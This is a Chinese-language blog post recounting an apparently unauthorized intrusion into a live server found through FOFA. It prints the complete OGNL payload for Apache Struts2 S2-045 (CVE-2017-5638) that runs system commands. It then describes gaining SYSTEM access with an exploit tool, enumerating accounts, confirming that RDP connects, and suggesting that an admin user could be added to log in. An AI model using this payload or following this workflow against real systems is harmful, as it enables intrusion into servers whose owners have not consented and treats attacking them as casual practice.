背景

​ 整点实战。

1.搜集目标

​ 新手想快速寻找目标,最快的方法是什么?当然是FOFA快速检索啦

image-20220908160054245

获取到目标http://x.x.x.x

2.漏洞检测

这里推荐一个很好用的漏洞验证平台:vulmap

zhzyker/vulmap: Vulmap 是一款 web 漏洞扫描和验证工具, 可对 webapps 进行漏洞扫描, 并且具备漏洞验证功能 (github.com)

使用vulmap对该目标进行常见漏洞检测:

image-20220908161538060

检测发现两个漏洞,分别是S2-045和S2-046 。

漏洞说明

0x01 漏洞简介
Apache Struts是一套用于创建企业级Java Web 应用的开源MVC框架 。
Apache Struts 2.3.5 – 2.3.31版本及2.5 – 2.5.10版本存在远程代码执行漏洞(CNNVD-201703-152 ,CVE-2017-5638)。该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息。导致远程攻击者可通过发送恶意的数据包,利用该漏洞在受影响服务器上执行任意命令。
漏洞编号:S2-045
CVE编号:CVE-2017-5638
漏洞类型:远程代码执行
漏洞级别:高危
漏洞风险:黑客通过利用漏洞可以实现远程命令执行。
影响版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10

0x02 简单的漏洞分析
由于当content-type中出现"multipart/form_data"时,会被认为有文件上传,从而调用struts2默认的上传文件组件Jakarta,通过组件漏洞载入OGNL代码并执行,从而达到远程调用的目的。

0x03 poc代码段
下面是一段网上的poc的header部分代码,主要分为三个部分
(1)用来触发文件漏洞,声明为文件上传

1
%{(#test='multipart/form-data')

(2)用来注入OGNL代码,通过ognl表达式静态调用获取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS属性,并将获取的结果覆盖_memberAccess属性,绕过SecurityMemberAccess的限制。

1
2
3
4
5
6
7
.(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm))))

(3)剩下的为调用CMD命令的代码,简单粗暴,首先判断操作系统,win下调用cmd,linux下调用bash。

1
2
3
4
5
6
7
8
.(#cmd='whoami')
.(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds))
.(#p.redirectErrorStream(true))
.(#process=#p.start())
.(#ros(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))
.(#ros.flush())}

3.验证提权

因为这个是2017年的老洞了,漏洞利用工具已经很成熟了,我就不演示手工构造了,直接上k8s哥哥的神器!

image-20220908164825897

点击“获取信息”,可以进行漏洞验证+系统信息获取

可以看出,这台印度友人的服务器是Windows Server 2012,用户权限是system

image-20220908172844360

简单的看了一下,权限是system,但是查用户的时候 netnet1功能也完整,但是net user之后发现明显有异常账号$test lo bg等非法账户

net user $test 一下

image-20220908173149577

oh ho~ 多半是已经上去过了,这里我们就不登录了,稍微看一下远程端口和其他的信息就撤了

image-20220908173336913

可以看出3389开着的,mstsc一下试试

image-20220908173452184

​ 可以连接,如果想登录的话net加个用户名并添加超管权限就能进去了,但是因为上面已经有人登录过了,这里就不深入探索了

 至此,今日份的实战结束了。明天带来一个linux系统的渗透实战。